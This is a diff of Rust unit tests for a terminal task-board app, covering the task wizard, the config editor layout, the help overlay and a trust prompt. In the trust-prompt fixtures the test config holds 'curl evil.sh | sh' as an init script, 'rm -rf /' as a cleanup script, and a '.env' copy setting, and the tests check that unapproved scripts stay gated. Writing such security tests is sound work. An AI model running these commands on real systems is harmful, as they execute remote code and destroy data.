KeyModifiers::ALT] {+ app.handle_key(key_event(KeyCode::Char('x'), modifiers))+ .unwrap();+ }+ assert_eq!(wiz(&app).as_str(), before);+ assert_eq!(+ app.state.task_ref_search.as_ref().unwrap().pattern,+ "",+ "and nothing reached the search pattern either"+ );+}++/// The backslash escape is the documented way in and the one the footer names.+#[test]+#[cfg(feature = "test-mocks")]+fn a_trailing_backslash_makes_a_newline() {+ let mut app = make_test_app_with_agents();+ press_key(&mut app, KeyCode::Char('o'));+ type_str(&mut app, "Title");+ advance_to(&mut app, WizardStep::Prompt);++ type_str(&mut app, "first\\");+ press_key(&mut app, KeyCode::Enter);+ type_str(&mut app, "second");++ assert_eq!(wiz(&app).as_str(), "first\nsecond");+ assert_eq!(app.state.wizard_step(), Some(WizardStep::Prompt));+}++/// A terminal in Kitty mode β from the user's own shell or multiplexer, since+/// agtx does not ask for it β reports Shift+Tab as Tab with SHIFT rather than+/// as BackTab. Both spellings step back.+#[test]+#[cfg(feature = "test-mocks")]+fn shift_tab_reported_as_a_modified_tab_still_steps_back() {+ let mut app = make_test_app_with_agents();+ press_key(&mut app, KeyCode::Char('o'));+ type_str(&mut app, "Title");+ advance_to(&mut app, WizardStep::Agent);++ app.handle_key(key_event(KeyCode::Tab, KeyModifiers::SHIFT))+ .unwrap();+ assert_eq!(app.state.wizard_step(), Some(WizardStep::Title));+}++// --- config editor geometry ---++/// A fixed percentage left everything huddled in the top-left of a mostly empty+/// box. These pin the two properties that fixed: it is sized to its content,+/// and it is centred.+#[test]+#[cfg(feature = "test-mocks")]+fn the_config_editor_is_centred_and_smaller_than_the_screen() {+ let _guard = redirect_config_dir();+ let dir = tempfile::tempdir().unwrap();+ let mut app = make_test_app_at(dir.path());+ app.open_config_editor();+ let editor = app.state.config_editor.as_ref().unwrap();++ let screen = Rect {+ x: 0,+ y: 0,+ width: 200,+ height: 60,+ };+ let popup = config_editor_area(editor, screen);++ assert!(+ popup.width < screen.width,+ "sized to content, not to screen"+ );+ assert!(popup.height < screen.height);+ // Centred: the margins on both sides agree to within the rounding of an+ // odd remainder.+ let left = popup.x - screen.x;+ let right = (screen.x + screen.width) - (popup.x + popup.width);+ assert!(left.abs_diff(right) <= 1, "left={left} right={right}");+ let top = popup.y - screen.y;+ let bottom = (screen.y + screen.height) - (popup.y + popup.height);+ assert!(top.abs_diff(bottom) <= 1, "top={top} bottom={bottom}");+}++/// Tall enough for the biggest section, so tabbing between them never resizes+/// the box under the cursor.+#[test]+#[cfg(feature = "test-mocks")]+fn the_config_editor_fits_its_largest_section() {+ let _guard = redirect_config_dir();+ let dir = tempfile::tempdir().unwrap();+ let mut app = make_test_app_at(dir.path());+ app.open_config_editor();+ let editor = app.state.config_editor.as_ref().unwrap();++ let screen = Rect {+ x: 0,+ y: 0,+ width: 200,+ height: 60,+ };+ let biggest = editor+ .sections+ .iter()+ .map(|s| s.fields.len())+ .max()+ .unwrap();+ // borders + tab strip + help/status + footer+ let chrome = 2 + 1 + 2 + 1;+ assert_eq!(+ config_editor_area(editor, screen).height as usize,+ biggest + chrome+ );++ // And the size does not depend on which section is selected.+ let first = config_editor_area(editor, screen);+ let mut app2 = make_test_app_at(dir.path());+ app2.open_config_editor();+ app2.state.config_editor.as_mut().unwrap().section = 2;+ let later = config_editor_area(app2.state.config_editor.as_ref().unwrap(), screen);+ assert_eq!(first, later, "the box must not move when tabbing");+}++/// A terminal too small for the content still gets a box that fits inside it.+#[test]+#[cfg(feature = "test-mocks")]+fn the_config_editor_is_clamped_to_a_small_terminal() {+ let _guard = redirect_config_dir();+ let dir = tempfile::tempdir().unwrap();+ let mut app = make_test_app_at(dir.path());+ app.open_config_editor();+ let editor = app.state.config_editor.as_ref().unwrap();++ let screen = Rect {+ x: 0,+ y: 0,+ width: 40,+ height: 12,+ };+ let popup = config_editor_area(editor, screen);+ assert!(popup.x + popup.width <= screen.x + screen.width);+ assert!(popup.y + popup.height <= screen.y + screen.height);+}++/// A `/` mid-word is not a skill trigger, so it has to fall past that guard and+/// arrive as ordinary text.+#[test]+#[cfg(feature = "test-mocks")]+fn a_slash_mid_word_is_typed_not_treated_as_a_trigger() {+ let mut app = make_test_app_with_agents();+ press_key(&mut app, KeyCode::Char('o'));+ type_str(&mut app, "Title");+ advance_to(&mut app, WizardStep::Prompt);++ type_str(&mut app, "src/main.rs");+ assert_eq!(wiz(&app).buffer, "src/main.rs");+ assert!(app.state.skill_search.is_none());+}++#[test]+#[cfg(feature = "test-mocks")]+fn esc_cancels_from_any_step() {+ // One key that always means "get me out of here" beats one whose effect+ // depends on which step you happen to be on. Stepping back is Shift+Tab.+ for steps_in in 0..=1 {+ let mut app = make_test_app_with_agents();+ press_key(&mut app, KeyCode::Char('o'));+ type_str(&mut app, "Drop me");+ for _ in 0..steps_in {+ press_key(&mut app, KeyCode::Enter);+ }++ press_key(&mut app, KeyCode::Esc);+ assert!(+ app.state.wizard.is_none(),+ "Esc {steps_in} step(s) in should have closed the wizard"+ );+ assert!(app.state.board.tasks.is_empty(), "and saved nothing");+ }+}++/// Back-navigation is why the wizard holds every field at once: stepping back+/// has to find the earlier answers still intact.+#[test]+#[cfg(feature = "test-mocks")]+fn stepping_back_from_the_prompt_preserves_everything_typed() {+ let mut app = make_test_app_with_agents();+ press_key(&mut app, KeyCode::Char('o'));+ type_str(&mut app, "Fix login");++ advance_to(&mut app, WizardStep::Agent);+ press_key(&mut app, KeyCode::Char('j')); // pick a non-default agent+ let agent = app.state.wizard.as_ref().unwrap().agent.selected;++ advance_to(&mut app, WizardStep::Plugin);+ press_key(&mut app, KeyCode::Char('j')); // and a non-default plugin+ let plugin = app.state.wizard.as_ref().unwrap().plugin.selected;++ advance_to(&mut app, WizardStep::Prompt);+ type_str(&mut app, "cookie expires early");++ // Walk all the way back to the first step.+ press_key(&mut app, KeyCode::BackTab);+ assert_eq!(app.state.wizard_step(), Some(WizardStep::Plugin));+ assert_eq!(+ app.state.wizard.as_ref().unwrap().plugin.selected,+ plugin,+ "re-entering a list step must not rebuild it and reset the pick"+ );++ press_key(&mut app, KeyCode::BackTab);+ assert_eq!(app.state.wizard_step(), Some(WizardStep::Agent));+ assert_eq!(app.state.wizard.as_ref().unwrap().agent.selected, agent);++ press_key(&mut app, KeyCode::BackTab);+ assert_eq!(app.state.wizard_step(), Some(WizardStep::Title));+ assert_eq!(wiz(&app).as_str(), "Fix login");++ // Forward again, and everything is still where it was left.+ advance_to(&mut app, WizardStep::Prompt);+ assert_eq!(wiz(&app).as_str(), "cookie expires early");+ assert_eq!(app.state.wizard.as_ref().unwrap().agent.selected, agent);+ assert_eq!(app.state.wizard.as_ref().unwrap().plugin.selected, plugin);+}++/// Shift+Tab and Ctrl+B go back too, from any step, without the "cancel when+/// there is nowhere to go" fallback that Esc carries.+#[test]+#[cfg(feature = "test-mocks")]+fn shift_tab_and_ctrl_b_step_back() {+ let mut app = make_test_app_with_agents();+ press_key(&mut app, KeyCode::Char('o'));+ type_str(&mut app, "Title");+ advance_to(&mut app, WizardStep::Agent);++ press_key(&mut app, KeyCode::BackTab);+ assert_eq!(app.state.wizard_step(), Some(WizardStep::Title));++ press_key(&mut app, KeyCode::Enter);+ app.handle_key(key_event(KeyCode::Char('b'), KeyModifiers::CONTROL))+ .unwrap();+ assert_eq!(app.state.wizard_step(), Some(WizardStep::Title));++ // ...and neither of them cancels from the first step.+ press_key(&mut app, KeyCode::BackTab);+ assert_eq!(app.state.wizard_step(), Some(WizardStep::Title));+ assert!(app.state.wizard.is_some());+}++/// Saving from step one is the whole point of `Ctrl+S`: a title fix caught+/// early should not require walking the rest of the flow again.+#[test]+#[cfg(feature = "test-mocks")]+fn ctrl_s_saves_from_the_title_step() {+ let mut app = make_test_app_with_agents();+ press_key(&mut app, KeyCode::Char('o'));+ type_str(&mut app, "Saved early");++ app.handle_key(key_event(KeyCode::Char('s'), KeyModifiers::CONTROL))+ .unwrap();++ assert!(app.state.wizard.is_none(), "saving closes the wizard");+ assert_eq!(app.state.board.tasks.len(), 1);+ assert_eq!(app.state.board.tasks[0].title, "Saved early");+ assert_eq!(app.state.board.tasks[0].description, None);+}++#[test]+#[cfg(feature = "test-mocks")]+fn ctrl_s_saves_from_the_plugin_step() {+ let mut app = make_test_app_with_agents();+ press_key(&mut app, KeyCode::Char('o'));+ type_str(&mut app, "Saved mid-flow");+ advance_to(&mut app, WizardStep::Plugin);++ app.handle_key(key_event(KeyCode::Char('s'), KeyModifiers::CONTROL))+ .unwrap();++ assert!(app.state.wizard.is_none());+ assert_eq!(app.state.board.tasks.len(), 1);+ assert_eq!(app.state.board.tasks[0].title, "Saved mid-flow");+}++/// A silent refusal reads as a broken key rather than a rejected input.+#[test]+#[cfg(feature = "test-mocks")]+fn an_empty_title_is_refused_out_loud() {+ let mut app = make_test_app_with_agents();+ press_key(&mut app, KeyCode::Char('o'));+ press_key(&mut app, KeyCode::Enter);++ assert_eq!(app.state.wizard_step(), Some(WizardStep::Title));+ assert!(+ app.state.wizard.as_ref().unwrap().validation.is_some(),+ "the refusal has to say something"+ );+ assert!(app.state.board.tasks.is_empty());++ // The complaint clears as soon as the user acts on it.+ type_str(&mut app, "T");+ assert!(app.state.wizard.as_ref().unwrap().validation.is_none());+}++/// A whitespace-only title is not a title, and `Ctrl+S` from a later step has+/// to send the user back to where the problem actually is.+#[test]+#[cfg(feature = "test-mocks")]+fn saving_without_a_title_returns_to_the_title_step() {+ let mut app = make_test_app_with_agents();+ press_key(&mut app, KeyCode::Char('o'));+ type_str(&mut app, "x");+ advance_to(&mut app, WizardStep::Plugin);++ // Go back to the title, however many steps that is, and blank it out.+ while app.state.wizard_step() != Some(WizardStep::Title) {+ press_key(&mut app, KeyCode::BackTab);+ }+ press_key(&mut app, KeyCode::Backspace);+ press_key(&mut app, KeyCode::Enter);+ assert_eq!(app.state.wizard_step(), Some(WizardStep::Title));+ assert!(app.state.wizard.as_ref().unwrap().validation.is_some());+ assert!(app.state.board.tasks.is_empty());+}++#[test]+#[cfg(feature = "test-mocks")]+fn a_padded_title_is_trimmed_on_save() {+ let mut app = make_test_app_with_agents();+ press_key(&mut app, KeyCode::Char('o'));+ type_str(&mut app, " Padded ");+ app.handle_key(key_event(KeyCode::Char('s'), KeyModifiers::CONTROL))+ .unwrap();+ assert_eq!(app.state.board.tasks[0].title, "Padded");+}++/// A dropdown owns Esc while it is open. Since Esc otherwise cancels the+/// wizard, getting this wrong throws away the whole task β closing a picker+/// must only close the picker.+#[test]+#[cfg(feature = "test-mocks")]+fn esc_closes_an_open_dropdown_without_leaving_the_wizard() {+ let mut app = make_test_app_with_agents();+ press_key(&mut app, KeyCode::Char('o'));+ type_str(&mut app, "Title");+ advance_to(&mut app, WizardStep::Prompt);++ type_str(&mut app, "see !");+ assert!(app.state.task_ref_search.is_some());++ press_key(&mut app, KeyCode::Esc);+ assert!(app.state.task_ref_search.is_none(), "the picker closed");+ assert!(+ app.state.wizard.is_some(),+ "and only the picker closed β the wizard survives"+ );+ assert_eq!(app.state.wizard_step(), Some(WizardStep::Prompt));+ assert_eq!(wiz(&app).as_str(), "see ", "the `!` went with it");+}++/// The file dropdown records a caret-relative `start_pos`, so its pattern has+/// to be typed at the caret too β appending to the end of the buffer would make+/// the commit splice over the wrong range.+#[test]+#[cfg(feature = "test-mocks")]+fn the_file_dropdown_types_at_the_caret_not_the_end() {+ // The dropdown queries the repo for candidates; an empty answer is enough,+ // since this is about where the typed text lands, not what it matches.+ let mut app = make_test_app_with_agents();+ let mut mock_git = MockGitOperations::new();+ mock_git.expect_list_files().returning(|_| vec![]);+ app.state.git_ops = Arc::new(mock_git);+ press_key(&mut app, KeyCode::Char('o'));+ type_str(&mut app, "Title");+ advance_to(&mut app, WizardStep::Prompt);++ type_str(&mut app, "a tail");+ for _ in 0..4 {+ press_key(&mut app, KeyCode::Left);+ }+ type_str(&mut app, "#ab");++ assert_eq!(+ wiz(&app).as_str(),+ "a #abtail",+ "the trigger and its pattern land at the caret"+ );+}++/// First run is the config editor, opened on the one question it needs to ask,+/// rather than a menu of its own.+#[test]+#[cfg(feature = "test-mocks")]+fn first_run_opens_the_config_editor_on_the_agent_field() {+ let _guard = redirect_config_dir();+ let dir = tempfile::tempdir().unwrap();+ let mut mock_tmux = MockTmuxOperations::new();+ mock_tmux.expect_window_exists().returning(|_| Ok(false));+ mock_tmux.expect_has_session().returning(|_| false);++ let app = App::new_for_test_with_flags(+ Some(dir.path().to_path_buf()),+ Arc::new(mock_tmux),+ Arc::new(MockGitOperations::new()),+ Arc::new(MockGitProviderOperations::new()),+ Arc::new(MockAgentRegistry::new()),+ crate::FeatureFlags {+ experimental: false,+ no_init_scripts: false,+ first_run: true,+ },+ )+ .unwrap();++ let editor = app+ .state+ .config_editor+ .as_ref()+ .expect("first run opens the editor");+ assert_eq!(+ editor.current_field().map(|f| f.id),+ Some(crate::tui::config_editor::FieldId::DefaultAgent),+ "and lands on the question first run is actually asking"+ );+ assert!(editor.status.is_some(), "with a word about what to do");+}++/// Every other launch opens straight onto the board.+#[test]+#[cfg(feature = "test-mocks")]+fn a_normal_launch_does_not_open_the_config_editor() {+ let _guard = redirect_config_dir();+ let dir = tempfile::tempdir().unwrap();+ let app = make_test_app_at(dir.path());+ assert!(app.state.config_editor.is_none());+}++// =============================================================================+// The `?` help overlay+// =============================================================================++#[test]+#[cfg(feature = "test-mocks")]+fn question_mark_opens_and_closes_the_help_overlay() {+ let mut app = make_test_app_with_agents();+ assert!(app.state.help_scroll.is_none());++ press_key(&mut app, KeyCode::Char('?'));+ assert_eq!(app.state.help_scroll, Some(0));++ press_key(&mut app, KeyCode::Esc);+ assert!(app.state.help_scroll.is_none());++ // `?` also toggles it shut, since that is the key that is already under the+ // finger.+ press_key(&mut app, KeyCode::Char('?'));+ press_key(&mut app, KeyCode::Char('?'));+ assert!(app.state.help_scroll.is_none());+}++/// It is a reference, not a menu: the keys it does not use must not fall+/// through and act on the board behind it.+#[test]+#[cfg(feature = "test-mocks")]+fn the_help_overlay_swallows_board_keys() {+ let mut app = make_test_app_with_agents();+ press_key(&mut app, KeyCode::Char('?'));++ for code in [KeyCode::Char('o'), KeyCode::Char(','), KeyCode::Enter] {+ press_key(&mut app, code);+ }+ assert!(app.state.wizard.is_none(), "no task wizard opened");+ assert!(app.state.config_editor.is_none(), "no config editor opened");+ assert!(app.state.help_scroll.is_some(), "and the overlay stayed up");+}++#[test]+#[cfg(feature = "test-mocks")]+fn the_help_overlay_scrolls_within_its_bounds() {+ let mut app = make_test_app_with_agents();+ press_key(&mut app, KeyCode::Char('?'));+ app.state.help_max_scroll.set(30);++ press_key(&mut app, KeyCode::Char('k'));+ assert_eq!(app.state.help_scroll, Some(0), "clamped at the top");++ press_key(&mut app, KeyCode::Char('j'));+ assert_eq!(app.state.help_scroll, Some(1));++ press_key(&mut app, KeyCode::End);+ assert_eq!(app.state.help_scroll, Some(30));+ press_key(&mut app, KeyCode::Char('j'));+ assert_eq!(app.state.help_scroll, Some(30), "clamped at the bottom");++ press_key(&mut app, KeyCode::Home);+ assert_eq!(app.state.help_scroll, Some(0));+}++/// The chords the task pane scrolls with work here too, from the same table β+/// someone who learns `C-d` once should not find it inert in the overlay.+#[test]+#[cfg(feature = "test-mocks")]+fn the_help_overlay_uses_the_same_scroll_chords_as_a_task_pane() {+ let mut app = make_test_app_with_agents();+ press_key(&mut app, KeyCode::Char('?'));+ app.state.help_max_scroll.set(60);++ app.handle_key(key_event(KeyCode::Char('d'), KeyModifiers::CONTROL))+ .unwrap();+ assert_eq!(app.state.help_scroll, Some(20), "C-d pages down");++ app.handle_key(key_event(KeyCode::Char('u'), KeyModifiers::CONTROL))+ .unwrap();+ assert_eq!(app.state.help_scroll, Some(0), "C-u pages back");++ app.handle_key(key_event(KeyCode::Char('n'), KeyModifiers::CONTROL))+ .unwrap();+ assert_eq!(app.state.help_scroll, Some(5), "C-n moves five lines");++ app.handle_key(key_event(KeyCode::Char('p'), KeyModifiers::CONTROL))+ .unwrap();+ assert_eq!(app.state.help_scroll, Some(0));++ press_key(&mut app, KeyCode::PageDown);+ assert_eq!(app.state.help_scroll, Some(20));+ press_key(&mut app, KeyCode::PageUp);+ assert_eq!(app.state.help_scroll, Some(0));++ app.handle_key(key_event(KeyCode::Char('g'), KeyModifiers::CONTROL))+ .unwrap();+ assert_eq!(app.state.help_scroll, Some(60), "C-g jumps to the bottom");+}++/// The clamp is to what the renderer could actually show. Against the table+/// length instead, jumping to the bottom parks the offset past the last+/// screenful and the next `C-u` moves nothing, reading as a dead key.+#[test]+#[cfg(feature = "test-mocks")]+fn paging_back_from_the_bottom_moves_on_the_first_press() {+ let mut app = make_test_app_with_agents();+ press_key(&mut app, KeyCode::Char('?'));+ // Far fewer rows fit than the table holds, which is the normal case.+ app.state.help_max_scroll.set(12);++ app.handle_key(key_event(KeyCode::Char('g'), KeyModifiers::CONTROL))+ .unwrap();+ assert_eq!(app.state.help_scroll, Some(12), "not the table length");++ app.handle_key(key_event(KeyCode::Char('u'), KeyModifiers::CONTROL))+ .unwrap();+ assert_eq!(+ app.state.help_scroll,+ Some(0),+ "one press moves, rather than burning off invisible offset"+ );+}++// =============================================================================+// The trust prompt+//+// This gate decides whether shell commands the user has not read are allowed to+// run, so what it accepts matters more than most key handling.+// =============================================================================++#[cfg(feature = "test-mocks")]+fn app_awaiting_trust() -> (App, tempfile::TempDir) {+ let dir = tempfile::tempdir().unwrap();+ std::fs::create_dir_all(dir.path().join(".agtx")).unwrap();+ std::fs::write(+ dir.path().join(".agtx/config.toml"),+ "init_script = \"curl evil.sh | sh\"\ncleanup_script = \"rm -rf /\"\n",+ )+ .unwrap();+ let app = make_test_app_at(dir.path());+ (app, dir)+}++/// Accepting any key would let typing ahead after launch, or reaching for an+/// unrelated shortcut, silently grant trust.+#[test]+#[cfg(feature = "test-mocks")]+fn an_unrelated_key_neither_trusts_nor_dismisses() {+ let _guard = redirect_config_dir();+ let (mut app, dir) = app_awaiting_trust();+ app.state.trust_confirm_popup = Some(TrustConfirmPopup {+ project_path: dir.path().to_path_buf(),+ dangerous: vec![],+ });++ for code in [+ KeyCode::Char(','),+ KeyCode::Char('o'),+ KeyCode::Enter,+ KeyCode::Char(' '),+ ] {+ press_key(&mut app, code);+ assert!(+ app.state.trust_confirm_popup.is_some(),+ "{code:?} should have left the question on screen"+ );+ }++ let store = crate::config::TrustStore::load().unwrap();+ assert!(!store.is_trusted(dir.path()), "and granted nothing");+}++#[test]+#[cfg(feature = "test-mocks")]+fn y_trusts_the_project() {+ let _guard = redirect_config_dir();+ let (mut app, dir) = app_awaiting_trust();+ app.state.trust_confirm_popup = Some(TrustConfirmPopup {+ project_path: dir.path().to_path_buf(),+ dangerous: vec![],+ });++ press_key(&mut app, KeyCode::Char('y'));++ assert!(app.state.trust_confirm_popup.is_none());+ let store = crate::config::TrustStore::load().unwrap();+ assert!(store.is_trusted(dir.path()));+ assert!(!app.state.flags.no_init_scripts, "scripts are re-enabled");+}++/// Declining is a real answer, not just a way to postpone: the popup closes and+/// the fields stay off.+#[test]+#[cfg(feature = "test-mocks")]+fn n_and_esc_decline_without_trusting() {+ for code in [KeyCode::Char('n'), KeyCode::Esc] {+ let _guard = redirect_config_dir();+ let (mut app, dir) = app_awaiting_trust();+ app.state.trust_confirm_popup = Some(TrustConfirmPopup {+ project_path: dir.path().to_path_buf(),+ dangerous: vec![],+ });++ press_key(&mut app, code);++ assert!(app.state.trust_confirm_popup.is_none(), "{code:?}");+ let store = crate::config::TrustStore::load().unwrap();+ assert!(!store.is_trusted(dir.path()), "{code:?} must not trust");+ }+}++/// Consenting to a script you cannot see is not consent, so the prompt carries+/// the values themselves β the three fields `App::new` strips.+#[test]+fn the_prompt_carries_the_scripts_it_is_asking_about() {+ let config = crate::config::ProjectConfig {+ init_script: Some("curl evil.sh | sh".to_string()),+ copy_files: Some(".env".to_string()),+ ..Default::default()+ };++ assert_eq!(+ dangerous_fields(&config),+ vec![+ ("init_script", "curl evil.sh | sh".to_string()),+ ("copy_files", ".env".to_string()),+ ],+ "values verbatim, in a fixed order, and only the fields that are set"+ );+}++#[test]+fn a_project_declaring_nothing_dangerous_has_nothing_to_show() {+ assert!(dangerous_fields(&crate::config::ProjectConfig::default()).is_empty());+}++// =============================================================================+// Config editor wiring+//+// The editor's own logic is tested in `config_editor_tests.rs`; these cover the+// parts only the App can do β opening it on the right configs, and what a save+// touches.+// =============================================================================++#[test]+#[cfg(feature = "test-mocks")]+fn comma_opens_the_config_editor() {+ let _guard = redirect_config_dir();+ let mut app = make_test_app_with_agents();+ assert!(app.state.config_editor.is_none());+ press_key(&mut app, KeyCode::Char(','));+ assert!(app.state.config_editor.is_some());+}++/// The editor loads the configs from disk rather than reconstructing them from+/// `state.config`, which is a *merged* view β writing that back would bake+/// every global default into the project file as an explicit override.+#[test]+#[cfg(feature = "test-mocks")]+fn the_editor_opens_on_the_files_not_the_merged_view() {+ let _guard = redirect_config_dir();+ let dir = tempfile::tempdir().unwrap();+ std::fs::create_dir_all(dir.path().join(".agtx")).unwrap();+ std::fs::write(+ dir.path().join(".agtx/config.toml"),+ "workflow_plugin = \"gsd\"\n",+ )+ .unwrap();++ let mut app = make_test_app_at(dir.path());+ app.open_config_editor();+ let editor = app.state.config_editor.as_ref().unwrap();++ let project = editor.project.as_ref().expect("a project is open");+ assert_eq!(project.workflow_plugin.as_deref(), Some("gsd"));+ assert_eq!(+ project.base_branch, None,+ "an unset project field stays unset rather than inheriting the global value"+ );+}++#[test]+#[cfg(feature = "test-mocks")]+fn a_dashboard_editor_has_no_project_section() {+ let _guard = redirect_config_dir();+ let mut app = App::new_for_test(+ None,+ Arc::new(MockTmuxOperations::new()),+ Arc::new(MockGitOperations::new()),+ Arc::new(MockGitProviderOperations::new()),+ Arc::new(MockAgentRegistry::new()),+ )+ .unwrap();+ app.open_config_editor();+ let editor = app.state.config_editor.as_ref().unwrap();+ assert!(editor.project.is_none());+ assert!(!editor.sections.iter().any(|s| s.title == "Project"));+}- // Initially not checked- assert!(!app.state.merge_conflict_checked.contains(&task_id));+/// Saving the project config changes its hash, which *is* its trust. Without+/// the re-record, editing any setting would silently untrust the project and+/// cost it its scripts on the next launch.+#[test]+#[cfg(feature = "test-mocks")]+fn saving_the_config_keeps_a_trusted_project_trusted() {+ let _guard = redirect_config_dir();+ let dir = tempfile::tempdir().unwrap();+ std::fs::create_dir_all(dir.path().join(".agtx")).unwrap();+ std::fs::write(+ dir.path().join(".agtx/config.toml"),+ "init_script = \"echo hi\"\n",+ )+ .unwrap();+ let mut store = crate::config::TrustStore::load().unwrap();+ store.trust_project(dir.path()).unwrap();- // After inserting, should be guarded- app.state.merge_conflict_checked.insert(task_id.clone());- assert!(app.state.merge_conflict_checked.contains(&task_id));+ let mut app = make_test_app_at(dir.path());+ app.open_config_editor();+ app.state+ .config_editor+ .as_mut()+ .unwrap()+ .project+ .as_mut()+ .unwrap()+ .base_branch = Some("develop".to_string());+ app.save_config_editor().unwrap();- // Clear resets the guard- app.state.merge_conflict_checked.clear();- assert!(!app.state.merge_conflict_checked.contains(&task_id));+ let store = crate::config::TrustStore::load().unwrap();+ assert!(+ store.is_trusted(dir.path()),+ "editing config must not untrust the project"+ );+ let saved = crate::config::ProjectConfig::load(dir.path()).unwrap();+ assert_eq!(saved.base_branch.as_deref(), Some("develop"));+ assert_eq!(+ saved.init_script.as_deref(),+ Some("echo hi"),+ "the untouched field is still there"+ );}+/// A save has to be visible without a restart: the merged config every draw+/// call reads is rebuilt from the files that were just written.#[test]#[cfg(feature = "test-mocks")]-fn test_wizard_plugin_selection() {- let mut app = make_test_app_with_agents();- press_key(&mut app, KeyCode::Char('o'));- type_str(&mut app, "Test task");- press_key(&mut app, KeyCode::Enter);- // Should go directly to plugin selection (multiple bundled plugins)- assert_eq!(app.state.input_mode, InputMode::SelectPlugin);- assert!(!app.state.wizard_plugin_options.is_empty());+fn saving_re_merges_the_live_config() {+ let _guard = redirect_config_dir();+ let dir = tempfile::tempdir().unwrap();+ let mut app = make_test_app_at(dir.path());+ app.open_config_editor();- // Navigate down- let initial = app.state.wizard_selected_plugin;- press_key(&mut app, KeyCode::Char('j'));- assert_eq!(app.state.wizard_selected_plugin, initial + 1);+ let editor = app.state.config_editor.as_mut().unwrap();+ editor.global.theme.color_selected = "#00ff00".to_string();+ editor.project.as_mut().unwrap().base_branch = Some("release".to_string());+ app.save_config_editor().unwrap();- // Advance to description- press_key(&mut app, KeyCode::Enter);- assert_eq!(app.state.input_mode, InputMode::InputDescription);+ assert_eq!(app.state.config.theme.color_selected, "#00ff00");+ assert_eq!(app.state.config.base_branch, "release");+ assert!(!app.state.config_editor.as_ref().unwrap().dirty);}+/// Closing without saving must put back the theme the preview was overwriting.#[test]#[cfg(feature = "test-mocks")]-fn test_wizard_cancel_at_plugin_step() {- let mut app = make_test_app_with_agents();- press_key(&mut app, KeyCode::Char('o'));- type_str(&mut app, "Cancel me");- press_key(&mut app, KeyCode::Enter);- assert_eq!(app.state.input_mode, InputMode::SelectPlugin);+fn closing_without_saving_drops_the_previewed_theme() {+ let _guard = redirect_config_dir();+ let dir = tempfile::tempdir().unwrap();+ let mut app = make_test_app_at(dir.path());+ let original = app.state.config.theme.color_selected.clone();++ app.open_config_editor();+ app.state+ .config_editor+ .as_mut()+ .unwrap()+ .global+ .theme+ .color_selected = "#ff00ff".to_string();+ // A keystroke is what installs the preview.+ press_key(&mut app, KeyCode::Char('j'));+ assert_eq!(app.state.config.theme.color_selected, "#ff00ff");press_key(&mut app, KeyCode::Esc);- assert_eq!(app.state.input_mode, InputMode::Normal);- assert!(app.state.pending_task_title.is_empty());+ assert!(app.state.config_editor.is_none());+ assert_eq!(app.state.config.theme.color_selected, original);}#[test]@@ -5716,19 +6743,18 @@ fn test_wizard_tab_cycles_plugins() {let mut app = make_test_app_with_agents();press_key(&mut app, KeyCode::Char('o'));type_str(&mut app, "Tabbing");- press_key(&mut app, KeyCode::Enter);- assert_eq!(app.state.input_mode, InputMode::SelectPlugin);+ advance_to(&mut app, WizardStep::Plugin);- let len = app.state.wizard_plugin_options.len();+ let len = app.state.wizard.as_ref().unwrap().plugin.options.len();assert!(len > 1);- assert_eq!(app.state.wizard_selected_plugin, 0);+ assert_eq!(app.state.wizard.as_ref().unwrap().plugin.selected, 0);press_key(&mut app, KeyCode::Tab);- assert_eq!(app.state.wizard_selected_plugin, 1);+ assert_eq!(app.state.wizard.as_ref().unwrap().plugin.selected, 1);// Tab wraps aroundfor _ in 1..len {press_key(&mut app, KeyCode::Tab);}- assert_eq!(app.state.wizard_selected_plugin, 0);+ assert_eq!(app.state.wizard.as_ref().unwrap().plugin.selected, 0);}#[test]@@ -5737,16 +6763,16 @@ fn test_wizard_saves_with_selected_plugin() {let mut app = make_test_app_with_agents();press_key(&mut app, KeyCode::Char('o'));type_str(&mut app, "Plugin task");- press_key(&mut app, KeyCode::Enter);- assert_eq!(app.state.input_mode, InputMode::SelectPlugin);+ advance_to(&mut app, WizardStep::Plugin);// Move to a non-default plugin (index 1 should be gsd or similar)press_key(&mut app, KeyCode::Char('j'));- let selected_plugin = app.state.wizard_plugin_options[app.state.wizard_selected_plugin]+ let selected_plugin = app.state.wizard.as_ref().unwrap().plugin.options+ [app.state.wizard.as_ref().unwrap().plugin.selected].name.clone();press_key(&mut app, KeyCode::Enter);- assert_eq!(app.state.input_mode, InputMode::InputDescription);+ assert_eq!(app.state.wizard_step(), Some(WizardStep::Prompt));press_key(&mut app, KeyCode::Enter); // save with no descriptionlet tasks = app.state.board.tasks.clone();@@ -5760,14 +6786,16 @@ fn test_wizard_default_plugin_saves_agtx() {let mut app = make_test_app_with_agents();press_key(&mut app, KeyCode::Char('o'));type_str(&mut app, "Default plugin task");- press_key(&mut app, KeyCode::Enter);- assert_eq!(app.state.input_mode, InputMode::SelectPlugin);+ advance_to(&mut app, WizardStep::Plugin);// Keep default selection (index 0 = agtx) and advance- assert_eq!(app.state.wizard_selected_plugin, 0);- assert_eq!(app.state.wizard_plugin_options[0].name, "agtx");+ assert_eq!(app.state.wizard.as_ref().unwrap().plugin.selected, 0);+ assert_eq!(+ app.state.wizard.as_ref().unwrap().plugin.options[0].name,+ "agtx"+ );press_key(&mut app, KeyCode::Enter);- assert_eq!(app.state.input_mode, InputMode::InputDescription);+ assert_eq!(app.state.wizard_step(), Some(WizardStep::Prompt));press_key(&mut app, KeyCode::Enter); // save with no descriptionlet tasks = app.state.board.tasks.clone();@@ -5782,20 +6810,274 @@ fn test_wizard_uses_config_default_agent() {let mut app = make_test_app_with_agents();press_key(&mut app, KeyCode::Char('o'));type_str(&mut app, "Config agent task");- press_key(&mut app, KeyCode::Enter);- // Advance through plugin- if app.state.input_mode == InputMode::SelectPlugin {- press_key(&mut app, KeyCode::Enter);- }- assert_eq!(app.state.input_mode, InputMode::InputDescription);+ advance_to(&mut app, WizardStep::Prompt);press_key(&mut app, KeyCode::Enter);let tasks = app.state.board.tasks.clone();assert_eq!(tasks.len(), 1);- // Should use config default_agent, not a wizard selection+ // The agent step opens on the configured default, so walking past it+ // without touching anything saves that.assert_eq!(tasks[0].agent, app.state.config.default_agent);}+/// `Task::agent` is a database field, and until the agent step existed the only+/// way to run one task on a different agent was to edit the config, start it,+/// and edit back.+#[test]+#[cfg(feature = "test-mocks")]+fn the_wizard_saves_the_agent_that_was_picked() {+ let mut app = make_test_app_with_agents();+ press_key(&mut app, KeyCode::Char('o'));+ type_str(&mut app, "Runs on something else");++ advance_to(&mut app, WizardStep::Agent);+ press_key(&mut app, KeyCode::Char('j'));+ let picked = app+ .state+ .wizard+ .as_ref()+ .unwrap()+ .agent_name()+ .unwrap()+ 